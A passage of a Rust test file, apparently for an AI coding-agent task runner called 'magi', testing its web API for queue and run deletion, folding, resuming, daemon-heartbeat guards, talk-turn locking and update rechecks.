20635 }
20636
20637 #[tokio::test]
20638 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
20639 let fx = Fixture::start().await;
20640 let q = fx.queue();
20641 let mk = |title: &str| {
20642 Task::new(
20643 title.to_owned(),
20644 "Instruction".to_owned(),
20645 PathBuf::from("/repo"),
20646 Source::Human,
20647 )
20648 };
20649 let mut root = mk("root");
20650 root.hold_manual(Some("waiting".to_owned()));
20651 q.put(&mut root).unwrap();
20652 let mut mid = mk("mid");
20653 mid.block(vec![root.id.clone()], None);
20654 q.put(&mut mid).unwrap();
20655 let mut leaf = mk("leaf");
20656 leaf.block(vec![mid.id.clone()], None);
20657 q.put(&mut leaf).unwrap();
20658
20659 let list = fx.get("/api/queue").await.json();
20660 let find = |id: &str| {
20661 list.as_array()
20662 .unwrap()
20663 .iter()
20664 .find(|v| v["id"] == id)
20665 .unwrap()
20666 .clone()
20667 };
20668 let leaf_view = find(&leaf.id);
20669 assert_eq!(
20670 leaf_view["waits_on"],
20671 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
20672 );
20673 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
20674 assert_eq!(
20675 find(&mid.id)["waits_on"],
20676 serde_json::json!([format!("{} (held)", root.short())])
20677 );
20678 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
20679 }
20680
20681 #[tokio::test]
20682 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
20683 let fx = Fixture::start().await;
20684 let q = fx.queue();
20685
20686 let mut t1 = Task::new(
20688 "Task 1".to_owned(),
20689 "Instruction 1".to_owned(),
20690 PathBuf::from("/repo"),
20691 Source::Human,
20692 );
20693 let run_id = "20260901-000000-r111";
20694 t1.runs.push(run_id.to_owned());
20695 write_run(&fx.runs(), run_id, RunStatus::Merged);
20696 q.put(&mut t1).expect("put t1");
20697
20698 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
20700 assert_eq!(res.status, 204);
20701 assert!(res.body.is_empty(), "204 No Content has no body");
20702 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
20703 assert!(
20704 fx.runs().join(run_id).exists(),
20705 "run directory must not be deleted when its task is deleted"
20706 );
20707
20708 let mut t2 = Task::new(
20710 "Task 2".to_owned(),
20711 "Instruction 2".to_owned(),
20712 PathBuf::from("/repo"),
20713 Source::Human,
20714 );
20715 t2.status = TaskStatus::Running;
20716 q.put(&mut t2).expect("put t2");
20717 let mut beat = crate::daemon::Status::new();
20718 beat.current = vec![crate::daemon::Current {
20719 task: t2.id.clone(),
20720 run: "20260901-000000-r222".to_owned(),
20721 }];
20722 beat.updated_at = jiff::Timestamp::now();
20723 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20724 .expect("publish a heartbeat");
20725 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
20726 assert_eq!(res.status, 409);
20727 assert!(
20728 res.json()["error"]
20729 .as_str()
20730 .unwrap()
20731 .contains("live daemon")
20732 );
20733 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
20734
20735 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
20741 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20742 .expect("leave a stale heartbeat");
20743 let mut t3 = Task::new(
20744 "Task 3".to_owned(),
20745 "Instruction 3".to_owned(),
20746 PathBuf::from("/repo"),
20747 Source::Human,
20748 );
20749 t3.status = TaskStatus::Running;
20750 q.put(&mut t3).expect("put t3");
20751 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
20752 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
20753 assert_eq!(res.status, 204);
20754 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
20755 assert!(
20756 q.claim(&t3.id).is_ok(),
20757 "the stale lock went with it, so the id is claimable again"
20758 );
20759
20760 let res = fx.delete("/api/queue/nonexistent").await;
20762 assert_eq!(res.status, 404);
20763 }
20764
20765 #[tokio::test]
20766 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
20767 let fx = Fixture::start().await;
20768 let runs = fx.runs();
20769
20770 let run_id = "20260901-000000-fold";
20772 let mut state = RunState::new(
20773 PathBuf::from("/repo"),
20774 "main".to_owned(),
20775 "abc".to_owned(),
20776 "instruction".to_owned(),
20777 Config::default(),
20778 );
20779 state.id = run_id.to_owned();
20780 state.status = RunStatus::Merged;
20781 state.candidates.push(crate::run::Candidate {
20782 index: 0,
20783 label: 'A',
20784 agent: "a".to_owned(),
20785 branch: "b".to_owned(),
20786 worktree: PathBuf::from("/w"),
20787 summary: String::new(),
20788 stat: String::new(),
20789 files: 1,
20790 commits: 1,
20791 empty: false,
20792 failed: None,
20793 verified_noop: None,
20794 duration_ms: 0,
20795 folded: true,
20796 });
20797 let dir = runs.join(run_id);
20798 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
20799 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
20800 .expect("write artifact");
20801 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
20802 .expect("write run.json");
20803
20804 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
20806 assert_eq!(res.status, 204);
20807 assert!(res.body.is_empty(), "204 has no body");
20808 assert!(!dir.exists(), "run directory and artifacts must be deleted");
20809
20810 let run_running = "20260901-000000-rung";
20815 write_run(&runs, run_running, RunStatus::Prep);
20816 let mut beat = crate::daemon::Status::new();
20817 beat.current = vec![crate::daemon::Current {
20818 task: "20260901-000000-task".to_owned(),
20819 run: run_running.to_owned(),
20820 }];
20821 beat.updated_at = jiff::Timestamp::now();
20822 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20823 .expect("publish a heartbeat");
20824 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
20825 assert_eq!(res.status, 409);
20826 assert!(
20827 res.json()["error"]
20828 .as_str()
20829 .unwrap()
20830 .contains("live daemon"),
20831 "the refusal must say who is holding it"
20832 );
20833 assert!(
20834 runs.join(run_running).exists(),
20835 "a run in flight keeps its directory"
20836 );
20837
20838 let run_unfolded = "20260901-000000-unfd";
20840 let mut state2 = RunState::new(
20841 PathBuf::from("/repo"),
20842 "main".to_owned(),
20843 "abc".to_owned(),
20844 "instruction".to_owned(),
20845 Config::default(),
20846 );
20847 state2.id = run_unfolded.to_owned();
20848 state2.status = RunStatus::Ready;
20849 state2.candidates.push(crate::run::Candidate {
20850 index: 0,
20851 label: 'A',
20852 agent: "a".to_owned(),
20853 branch: "b".to_owned(),
20854 worktree: PathBuf::from("/w"),
20855 summary: String::new(),
20856 stat: String::new(),
20857 files: 1,
20858 commits: 1,
20859 empty: false,
20860 failed: None,
20861 verified_noop: None,
20862 duration_ms: 0,
20863 folded: false,
20864 });
20865 let dir2 = runs.join(run_unfolded);
20866 std::fs::create_dir_all(&dir2).expect("create dir2");
20867 std::fs::write(
20868 dir2.join("run.json"),
20869 serde_json::to_string(&state2).unwrap(),
20870 )
20871 .expect("write run.json");
20872
20873 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
20874 assert_eq!(res.status, 409);
20875 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
20876 assert!(dir2.exists(), "unfolded run directory is kept");
20877
20878 let res = fx.delete("/api/runs/nonexistent").await;
20880 assert_eq!(res.status, 404);
20881 }
20882
20883 #[test]
20892 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
20893 let start = APP_JS
20894 .find("function renderStats() {")
20895 .expect("renderStats");
20896 let end = start
20897 + APP_JS[start..]
20898 .find("function statsTile(")
20899 .expect("the next top-level function");
20900 let body = &APP_JS[start..end];
20901
20902 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
20903 let gate_end = gate_start
20904 + body[gate_start..]
20905 .find("}\n renderStatsQueue")
20906 .expect("the gate's own closing brace, right before the unconditional call");
20907 let gated = &body[gate_start..gate_end];
20908
20909 assert_eq!(
20910 body.matches("renderStatsQueue(").count(),
20911 1,
20912 "renderStats must call renderStatsQueue exactly once: {body}"
20913 );
20914 assert!(
20915 !gated.contains("renderStatsQueue"),
20916 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
20917 run-derived panels on an empty run history - the queue panel has to render \
20918 regardless: {gated}"
20919 );
20920 }
20921
20922 #[test]
20923 fn web_ui_delete_contract_in_front_end() {
20924 assert!(APP_JS.contains("deleteRun:"));
20926 assert!(APP_JS.contains("deleteTask:"));
20927
20928 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
20930 ..APP_JS.find("function renderRuns").unwrap()];
20931 assert!(!run_cards_slice.to_lowercase().contains("delete"));
20932
20933 assert!(APP_JS.contains("renderRunDelete"));
20935 assert!(APP_JS.contains("runDeleteReason"));
20936 assert!(APP_JS.contains("magi fold"));
20937 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
20938
20939 assert!(APP_JS.contains("cancel.focus"));
20941 assert!(APP_JS.contains("armedRunDelete"));
20942 assert!(APP_JS.contains("renderTaskDeleteBox"));
20943 assert!(APP_JS.contains("armed${cap(key)}"));
20944
20945 assert!(APP_JS.contains("disabled: status === \"running\""));
20947 }
20948
20949 #[test]
20969 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
20970 let build = APP_JS
20971 .find("function createRunCard")
20972 .expect("createRunCard exists");
20973 let update = APP_JS
20974 .find("function updateRunCard")
20975 .expect("updateRunCard exists");
20976 let end = APP_JS
20977 .find("function renderRuns")
20978 .expect("renderRuns exists");
20979
20980 let builder = &APP_JS[build..update];
20982 let open = builder.find("refs = {").expect("createRunCard sets refs");
20983 let literal = &builder[open + "refs = {".len()..];
20984 let close = literal.find('}').expect("the refs literal is closed");
20985 let published: HashSet<&str> = literal[..close]
20986 .split(',')
20987 .filter_map(|entry| entry.split(':').next())
20989 .map(str::trim)
20990 .filter(|name| !name.is_empty())
20991 .collect();
20992 assert!(
20993 published.len() > 5,
20994 "the refs literal did not parse into names: {published:?}"
20995 );
20996
20997 let mut used: Vec<&str> = Vec::new();
21000 let updaters = &APP_JS[update..end];
21001 for (at, _) in updaters.match_indices("r.") {
21002 let before = updaters[..at].chars().next_back();
21005 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21006 continue;
21007 }
21008 let rest = &updaters[at + 2..];
21009 let len = rest
21010 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21011 .unwrap_or(rest.len());
21012 if len > 0 {
21013 used.push(&rest[..len]);
21014 }
21015 }
21016 assert!(
21017 used.len() > 5,
21018 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21019 );
21020
21021 let missing: Vec<&str> = used
21022 .iter()
21023 .copied()
21024 .filter(|name| !published.contains(name))
21025 .collect();
21026 assert!(
21027 missing.is_empty(),
21028 "a run card's updater reaches for {missing:?}, which `createRunCard` \
21029 never put in `refs` - every card will throw and the list will \
21030 render empty under a count line that says otherwise. Published: \
21031 {published:?}"
21032 );
21033 }
21034
21035 #[tokio::test]
21036 async fn folding_from_the_phone_reports_what_it_removed() {
21037 let fx = Fixture::start().await;
21038 let runs = fx.runs();
21039
21040 let id = "20260901-000000-fold";
21044 write_run(&runs, id, RunStatus::Stalled);
21045 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21046 assert_eq!(res.status, 200);
21047 assert_eq!(res.json()["removed_count"], 0);
21048 assert_eq!(res.json()["run"], id);
21049 assert!(
21050 runs.join(id).exists(),
21051 "a fold keeps the run's record; only the worktrees go"
21052 );
21053 }
21054
21055 #[tokio::test]
21056 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21057 let fx = Fixture::start().await;
21058 let runs = fx.runs();
21059 let wt = fx.home.path().join("wt").join("magi").join("dead");
21060 let id = "20260901-000000-dead";
21061 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21062 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21063 std::fs::create_dir_all(&wt).expect("worktree dir");
21064
21065 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21066 assert_eq!(res.status, 200, "{}", res.body);
21067 assert!(
21068 res.json()["removed_count"].as_u64().unwrap() > 0,
21069 "the worktree this build could not read a state for still went"
21070 );
21071 assert!(
21072 !runs.join(id).exists(),
21073 "an unreadable run has no candidate list to fold selectively, so \
21074 the whole record goes - same as `magi fold` on the CLI"
21075 );
21076 }
21077
21078 #[tokio::test]
21079 async fn deleting_an_unreadable_run_removes_it_wholesale() {
21080 let fx = Fixture::start().await;
21081 let runs = fx.runs();
21082 let wt = fx.home.path().join("wt").join("magi").join("gone");
21083 let id = "20260901-000000-gone";
21084 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21085 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21086 std::fs::create_dir_all(&wt).expect("worktree dir");
21087
21088 let res = fx.delete(&format!("/api/runs/{id}")).await;
21089 assert_eq!(res.status, 204, "{}", res.body);
21090 assert!(!runs.join(id).exists(), "the broken record is gone");
21091 assert!(!wt.exists(), "its worktree is gone too");
21092 }
21093
21094 #[tokio::test]
21095 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21096 let fx = Fixture::start().await;
21097 let runs = fx.runs();
21098 let id = "20260901-000000-live";
21099 write_run(&runs, id, RunStatus::Implementing);
21100
21101 let mut beat = crate::daemon::Status::new();
21102 beat.current = vec![crate::daemon::Current {
21103 task: "20260901-000000-task".to_owned(),
21104 run: id.to_owned(),
21105 }];
21106 beat.updated_at = jiff::Timestamp::now();
21107 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21108 .expect("publish a heartbeat");
21109
21110 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21111 assert_eq!(res.status, 409);
21112 assert!(
21113 res.json()["error"]
21114 .as_str()
21115 .unwrap()
21116 .contains("live daemon"),
21117 "folding under a running agent would pull its worktree away"
21118 );
21119 }
21120
21121 #[tokio::test]
21122 async fn fold_merged_requires_a_pr_url() {
21123 let fx = Fixture::start().await;
21124 let runs = fx.runs();
21125 let id = "20260901-000000-nourl";
21126 write_run(&runs, id, RunStatus::Blocked);
21127
21128 let res = fx
21129 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21130 .await;
21131 assert_eq!(res.status, 400, "{}", res.body);
21132
21133 let blank = fx
21134 .post(
21135 &format!("/api/runs/{id}/fold-merged"),
21136 Some(r#"{"pr_url":" "}"#),
21137 )
21138 .await;
21139 assert_eq!(blank.status, 400, "{}", blank.body);
21140 }
21141
21142 #[tokio::test]
21143 async fn fold_merged_is_404_for_an_unknown_run() {
21144 let fx = Fixture::start().await;
21145 let res = fx
21146 .post(
21147 "/api/runs/nosuchrun/fold-merged",
21148 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21149 )
21150 .await;
21151 assert_eq!(res.status, 404, "{}", res.body);
21152 }
21153
21154 #[tokio::test]
21155 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21156 let fx = Fixture::start().await;
21157 let runs = fx.runs();
21158 let id = "20260901-000000-livemerge";
21159 write_run(&runs, id, RunStatus::Blocked);
21160
21161 let mut beat = crate::daemon::Status::new();
21162 beat.current = vec![crate::daemon::Current {
21163 task: "20260901-000000-task".to_owned(),
21164 run: id.to_owned(),
21165 }];
21166 beat.updated_at = jiff::Timestamp::now();
21167 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21168 .expect("publish a heartbeat");
21169
21170 let res = fx
21171 .post(
21172 &format!("/api/runs/{id}/fold-merged"),
21173 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21174 )
21175 .await;
21176 assert_eq!(res.status, 409, "{}", res.body);
21177 assert!(
21178 res.json()["error"]
21179 .as_str()
21180 .unwrap()
21181 .contains("live daemon"),
21182 "correcting a run's merge underneath a running agent would race \
21183 whatever it is doing to the same `status`/`merge` fields"
21184 );
21185 }
21186
21187 #[tokio::test]
21192 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21193 let fx = Fixture::start().await;
21194 let runs = fx.runs();
21195 let id = "20260901-000000-unconfirmed";
21196 write_run(&runs, id, RunStatus::Blocked);
21197
21198 let res = fx
21199 .post(
21200 &format!("/api/runs/{id}/fold-merged"),
21201 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21202 )
21203 .await;
21204 assert_eq!(res.status, 400, "{}", res.body);
21205 assert_eq!(
21206 read_run(&runs, id).unwrap().status,
21207 RunStatus::Blocked,
21208 "a pull request that could not be confirmed merged must leave \
21209 the run exactly where it was"
21210 );
21211 }
21212
21213 #[tokio::test]
21214 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
21215 let fx = Fixture::start().await;
21216 let runs = fx.runs();
21217
21218 for (status, word) in [
21224 (RunStatus::Merged, "merged"),
21225 (RunStatus::Ready, "ready"),
21226 (RunStatus::Failed, "failed"),
21227 ] {
21228 let id = format!("20260901-000000-{}", &word[..4]);
21229 write_run(&runs, &id, status);
21230 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21231 assert_eq!(res.status, 409, "{word} must not be resumable");
21232 let err = res.json()["error"].as_str().unwrap().to_owned();
21233 assert!(err.contains(word), "the refusal names the status: {err}");
21234 }
21235
21236 let mid = "20260901-000000-midf";
21241 write_run(&runs, mid, RunStatus::Reviewing);
21242 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
21243 assert_eq!(res.status, 202, "an interrupted run is resumable");
21244 }
21245
21246 #[tokio::test]
21247 async fn resume_is_refused_while_the_loop_is_running() {
21248 let fx = Fixture::start().await;
21249 let runs = fx.runs();
21250 let stalled = "20260901-000000-stal";
21251 write_run(&runs, stalled, RunStatus::Stalled);
21252
21253 let mut beat = crate::daemon::Status::new();
21257 beat.current = vec![crate::daemon::Current {
21258 task: "20260901-000000-task".to_owned(),
21259 run: "20260901-000000-othr".to_owned(),
21260 }];
21261 beat.updated_at = jiff::Timestamp::now();
21262 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21263 .expect("publish a heartbeat");
21264
21265 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21266 assert_eq!(res.status, 409);
21267 let err = res.json()["error"].as_str().unwrap().to_owned();
21268 assert!(err.contains("othr"), "it names what the loop is on: {err}");
21269 assert!(err.contains("stop it first"), "{err}");
21270 }
21271
21272 #[test]
21273 fn a_run_cannot_be_resumed_twice_at_once() {
21274 let home = TempDir::new().expect("temp home");
21275 let ui = Ui::new(
21276 Queue::at(home.path().join("queue")),
21277 Questions::at(home.path().join("questions")),
21278 Talks::at(home.path().join("talks")),
21279 home.path().join("runs"),
21280 home.path().to_path_buf(),
21281 PathBuf::from("/repo"),
21282 )
21283 .with_worktrees_root(home.path().join("wt"));
21284 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21285 let again = ui.begin_resume("20260901-000000-once");
21286 assert!(again.is_err(), "a second tap must not start a second graph");
21287 drop(first);
21288 assert!(
21289 ui.begin_resume("20260901-000000-once").is_ok(),
21290 "and the claim is released when the attempt ends"
21291 );
21292 }
21293
21294 #[test]
21295 fn talk_thinking_tracks_only_its_held_turn_claim() {
21296 let home = TempDir::new().expect("temp home");
21297 let ui = Ui::new(
21298 Queue::at(home.path().join("queue")),
21299 Questions::at(home.path().join("questions")),
21300 Talks::at(home.path().join("talks")),
21301 home.path().join("runs"),
21302 home.path().to_path_buf(),
21303 PathBuf::from("/repo"),
21304 )
21305 .with_worktrees_root(home.path().join("wt"));
21306 let id = "20260901-000000-once";
21307
21308 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
21309 let turn = ui.begin_talk_turn(id).expect("claim turn");
21310 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
21311 assert!(
21312 !ui.is_thinking("20260901-000000-other"),
21313 "one talk's turn does not make another talk busy"
21314 );
21315 drop(turn);
21316 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
21317 }
21318
21319 #[test]
21320 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
21321 let home = TempDir::new().expect("temp home");
21322 let talks = Talks::at(home.path().join("talks"));
21323 let ui = Ui::new(
21324 Queue::at(home.path().join("queue")),
21325 Questions::at(home.path().join("questions")),
21326 talks.clone(),
21327 home.path().join("runs"),
21328 home.path().to_path_buf(),
21329 PathBuf::from("/repo"),
21330 )
21331 .with_worktrees_root(home.path().join("wt"));
21332 let id = "20260901-000000-cross";
21333
21334 let other = Talks::at(home.path().join("talks"))
21335 .claim_turn(id)
21336 .expect("claim")
21337 .expect("the other process wins");
21338 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
21339 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
21340 assert!(
21341 matches!(
21342 ui.begin_talk_turn_unless_pending(id).expect("start"),
21343 TalkTurnStart::Foreign
21344 ),
21345 "a foreign holder is refused, not queued behind"
21346 );
21347 assert!(
21348 !ui.talk_turns.lock().unwrap().live.contains(id),
21349 "a refused claim leaves no in-process entry behind"
21350 );
21351 drop(other);
21352 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
21353 assert!(talks.turn_held(id), "the web turn holds the lease");
21354 drop(turn);
21355 assert!(
21356 !talks.turn_held(id),
21357 "dropping the guard releases the lease"
21358 );
21359 }
21360
21361 fn consult_question(ui: &Ui) -> Question {
21362 let mut q = Question::new(
21363 "20260901-000000-consult".to_owned(),
21364 "implement".to_owned(),
21365 "impl-A".to_owned(),
21366 "Which backend?".to_owned(),
21367 String::new(),
21368 vec!["SQLite".to_owned(), "Redis".to_owned()],
21369 );
21370 ui.questions.put(&mut q).expect("question");
21371 q
21372 }
21373
21374 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
21375 (
21376 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
21377 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
21378 )
21379 }
21380
21381 #[tokio::test]
21382 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
21383 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21384 let q = consult_question(&ui);
21385 let talk = ui.talks.get(&id).expect("talk");
21386 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
21387 let before = consult_snapshot(&ui, &q, &id);
21388 let cli_talks = Talks::at(ui.home.join("talks"));
21389 assert_eq!(
21390 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
21391 .await
21392 .expect("CLI starter"),
21393 crate::consult::Started::Busy
21394 );
21395 assert_eq!(consult_snapshot(&ui, &q, &id), before);
21396 assert!(ui.is_thinking(&id));
21397 drop(guard);
21398 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
21399 }
21400
21401 #[tokio::test]
21402 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
21403 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21404 let q = consult_question(&ui);
21405 let talk = ui.talks.get(&id).expect("talk");
21406 let started = tmp.path().join("started");
21407 let release = tmp.path().join("release");
21408 let script = tmp.path().join("consult-agent.sh");
21409 std::fs::write(
21410 &script,
21411 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
21412 )
21413 .expect("script");
21414 let mut cfg = stub_config();
21415 cfg.agents[0].id = "mock".to_owned();
21416 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
21417 cfg.agents[0].env = std::collections::BTreeMap::from([
21418 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
21419 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
21420 ]);
21421 let questions = ui.questions.clone();
21422 let cli_talks = Talks::at(ui.home.join("talks"));
21423 let cli_q = q.clone();
21424 let turn = tokio::spawn(async move {
21425 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
21426 });
21427 let ready = tokio::time::timeout(Duration::from_secs(30), async {
21428 while !started.exists() {
21429 tokio::time::sleep(Duration::from_millis(10)).await;
21430 }
21431 })
21432 .await;
21433 let refusal = if ready.is_ok() {
21436 let before = consult_snapshot(&ui, &q, &id);
21437 let result = talk_say(
21438 State(Arc::clone(&ui)),
21439 Path(id.clone()),
21440 Ok(Json(NewTalkTurn {
21441 reply_to: None,
21442 text: "another message".to_owned(),
21443 attachments: Vec::new(),
21444 })),
21445 )
21446 .await;
21447 Some((result, before, consult_snapshot(&ui, &q, &id)))
21448 } else {
21449 None
21450 };
21451 std::fs::write(&release, "").expect("release agent");
21452 let done = turn.await.expect("join CLI turn");
21453 ready.expect("agent started before deadline");
21454 let (result, before, after) = refusal.expect("web request");
21455 let error = result.expect_err("web must refuse the CLI's turn");
21456 assert_eq!(error.status, StatusCode::CONFLICT);
21457 assert!(error.message.contains("a turn is already running"));
21458 assert_eq!(
21459 after, before,
21460 "refusal preserves question, draft and history"
21461 );
21462 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
21463 let guard = ui
21464 .begin_talk_turn(&id)
21465 .expect("web claim")
21466 .expect("free again");
21467 drop(guard);
21468 }
21469
21470 #[test]
21471 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
21472 let home = TempDir::new().expect("temp home");
21473 let talks = Talks::at(home.path().join("talks"));
21474 let ui = Ui::new(
21475 Queue::at(home.path().join("queue")),
21476 Questions::at(home.path().join("questions")),
21477 talks.clone(),
21478 home.path().join("runs"),
21479 home.path().to_path_buf(),
21480 PathBuf::from("/repo"),
21481 )
21482 .with_worktrees_root(home.path().join("wt"));
21483 let id = "20260901-000000-order";
21484 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21485 let slots = ui.talk_turns.lock().unwrap();
21487 let dropper = std::thread::spawn(move || drop(turn));
21488 let start = std::time::Instant::now();
21489 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
21490 std::thread::sleep(Duration::from_millis(5));
21491 }
21492 assert!(!talks.turn_held(id), "the lease is released first");
21493 assert!(slots.live.contains(id), "the slot is still held meanwhile");
21494 drop(slots);
21495 dropper.join().expect("join");
21496 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
21497 }
21498
21499 #[tokio::test]
21500 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
21501 let fx = Fixture::start().await;
21502 let mut beat = crate::daemon::Status::new();
21506 beat.pid = 4321;
21507 beat.updated_at = jiff::Timestamp::now();
21508 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21509 .expect("publish a heartbeat");
21510
21511 let res = fx.post("/api/upgrade", None).await;
21512 assert_eq!(res.status, 409);
21513 let err = res.json()["error"].as_str().unwrap().to_owned();
21514 assert!(err.contains("4321"), "the refusal names the owner: {err}");
21515 assert!(err.contains("old one against the same queue"), "{err}");
21516 }
21517
21518 #[test]
21525 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
21526 assert!(!should_spawn_recheck(&crate::config::Update {
21527 mode: UpdateMode::Off,
21528 interval: None,
21529 }));
21530
21531 unsafe {
21534 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21535 }
21536 let killed = should_spawn_recheck(&crate::config::Update {
21537 mode: UpdateMode::Notify,
21538 interval: None,
21539 });
21540 unsafe {
21541 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21542 }
21543 assert!(
21544 !killed,
21545 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
21546 one-time startup check"
21547 );
21548
21549 assert!(should_spawn_recheck(&crate::config::Update {
21550 mode: UpdateMode::Notify,
21551 interval: None,
21552 }));
21553 }
21554
21555 #[test]
21561 fn recheck_poll_period_tracks_a_short_configured_interval() {
21562 let short = crate::config::Update {
21563 mode: UpdateMode::Notify,
21564 interval: Some("1m".to_owned()),
21565 };
21566 let period = recheck_poll_period(&short);
21567 assert!(
21568 period <= Duration::from_secs(30),
21569 "a one-minute interval must wake the task far sooner than the \
21570 default ceiling, or the deck would not notice within the \
21571 interval the operator configured: got {period:?}"
21572 );
21573
21574 let default = crate::config::Update {
21575 mode: UpdateMode::Notify,
21576 interval: None,
21577 };
21578 assert_eq!(
21579 recheck_poll_period(&default),
21580 UPDATE_RECHECK_POLL_MAX,
21581 "the default day-long interval should poll at the (capped) \
21582 ceiling rather than needlessly often"
21583 );
21584 }
21585
21586 #[test]
21594 fn recheck_skips_the_network_before_the_interval_elapses() {
21595 let dir = TempDir::new().expect("temp dir");
21596 let path = dir.path().join("state.json");
21597 let state = kaishin::UpdateCheckState {
21598 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
21599 last_known_latest: None,
21600 last_known_url: None,
21601 };
21602 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
21603
21604 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
21605 assert!(
21606 !update_recheck_due(&checker, None),
21607 "a check made moments ago must not be repeated before the \
21608 configured interval elapses"
21609 );
21610 }
21611
21612 #[test]
21618 fn recheck_defers_to_an_upgrade_already_in_flight() {
21619 let dir = TempDir::new().expect("temp dir");
21620 let path = dir.path().join("state.json");
21621 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
21622 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
21623
21624 assert!(
21625 !update_recheck_due(&checker, Some(&progress)),
21626 "a recheck must not run while an upgrade this deck started is \
21627 still moving"
21628 );
21629 }
21630
21631 #[tokio::test]
